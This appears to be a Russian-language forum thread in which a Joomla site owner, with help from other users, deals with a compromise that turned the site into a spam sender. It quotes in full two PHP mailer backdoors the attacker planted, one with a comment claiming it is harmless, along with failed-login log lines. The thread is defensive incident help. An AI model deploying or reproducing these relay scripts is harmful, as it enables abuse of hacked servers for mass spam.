Взломали сайт, идет email спам с домена, что делать?

Добрый день!

Есть сайт http://edinstvoyug.ru/

Только распаковал шаблон фактически, а сегодня утром смотрю, а хостинг заблокировал Mail PHP...

Доброго времени суток!

Очередь удалена. Отправка почты скриптами с аккаунта отключена.
Заблокировано
/home/srv58311/edinstvoyug.ru/cli/
/home/srv58311/edinstvoyug.ru/cli/in.php

Учтите, что удаления недостаточно, вам нужно обновить CMS и модули, и следовать рекомендациям по безопасности в коммьюнити вашей CMS.
После того как закроете уязвимость - напишите нам, включим поддержку почты.

Что мне делать?

перейти на другой хостинг...

Разве проблема в хостинге, а не в шаблоне/Джумле?

Есть ли какие-то сторонние расширения кроме этого шаблона?
нет
Может быть логи бы скинули посмотреть. Там все запросы к сайту отображаются.
Как взять логи? Они в какой-то папке?
(логин admin?).
amin
Хостинг какой вообще?
HTS
Есть соседи на одном IP?
Да есть, причем на одном аккаунте 7 сайтов (тоже с шаблонов - полёт, т-т-т, нормальный)

Появилось множество php файлов с таким содержанием:

Код:

<?php
if(isset($_POST["mailto"]))
  $MailTo = base64_decode($_POST["mailto"]);
else
   {
   echo "indata_error";
   exit;
   }
if(isset($_POST["msgheader"]))
  $MessageHeader = base64_decode($_POST["msgheader"]);
else
   {
   echo "indata_error";
   exit;
   }
if(isset($_POST["msgbody"]))
  $MessageBody = base64_decode($_POST["msgbody"]);
else
   {
   echo "indata_error";
   exit;
   }
if(isset($_POST["msgsubject"]))
  $MessageSubject = base64_decode($_POST["msgsubject"]);
else
   {
   echo "indata_error";
   exit;
   }
if(mail($MailTo,$MessageSubject,$MessageBody,$MessageHeader))
   echo "sent_ok";
else
   echo "sent_error";
?>

Код:

error.php
2015-04-15T04:13:17+00:00   INFO 37.9.53.89   joomlafailure   Имя пользователя и пароль не совпадают или у вас ещё нет учётной записи на сайте
2015-04-15T04:39:43+00:00   INFO 37.9.53.89   joomlafailure   Имя пользователя и пароль не совпадают или у вас ещё нет учётной записи на сайте
2015-04-15T05:06:08+00:00   INFO 37.9.53.89   joomlafailure   Имя пользователя и пароль не совпадают или у вас ещё нет учётной записи на сайте
2015-04-15T05:33:12+00:00   INFO 37.9.53.89   joomlafailure   Имя пользователя и пароль не совпадают или у вас ещё нет учётной записи на сайте
2015-04-15T05:59:28+00:00   INFO 37.9.53.89   joomlafailure   Имя пользователя и пароль не совпадают или у вас ещё нет учётной записи на сайте
2015-04-15T06:28:53+00:00   INFO 37.9.53.89   joomlafailure   Имя пользователя и пароль не совпадают или у вас ещё нет учётной записи на сайте

Это нормально?
Так если они залогинились, они смогли загружать файлы php?

У меня такое было. Меняйте пароли, установите rsfirewall и проверьте файлы на хостинге. Удалите все зараженные и мониторьте. Если они появились опять то меняйте хостинг.

rsfirewall ругается на этот файл:
includes/error.php Possible PHP injection (obfuscated code using /e modifier)
А не, не было...
еще найдено:

Код:

<?php
/*
Ничего страшного тут нет.
[3ran]
*/
if(isset($_POST["mailto"]))
  $MailTo = base64_decode($_POST["mailto"]);
else
   {
   echo "Valid";
   exit;
   }
if(isset($_POST["msgheader"]))
  $MessageHeader = base64_decode($_POST["msgheader"]);
else
   {
   echo "Valid";
   exit;
   }
if(isset($_POST["msgbody"]))
  $MessageBody = base64_decode($_POST["msgbody"]);
else
   {
   echo "Valid";
   exit;
   }
if(isset($_POST["msgsubject"]))
  $MessageSubject = base64_decode($_POST["msgsubject"]);
else
   {
   echo "Valid";
   exit;
   }
if(mail($MailTo,$MessageSubject,$MessageBody,$MessageHeader))
   echo "sent_ok";
else
   echo "sent_error";
?>

Какой шаблон вы установили? Вы установили шаблон или квикстарт? Какая у вас версия joomla? Какие расширения установлены?

дело в том что в старых версиях joomla и в старых расширениях есть дыры и если у вас что-то устарело и там была дыра то могли ей воспользоваться... так же могли быть проблемы с правами на файлы / папки... или что-либо еще без логов разобраться что конкретно произошло невозможно. Если у вас сложность в поиске логов советую обратиться в тех поддержку хостинга.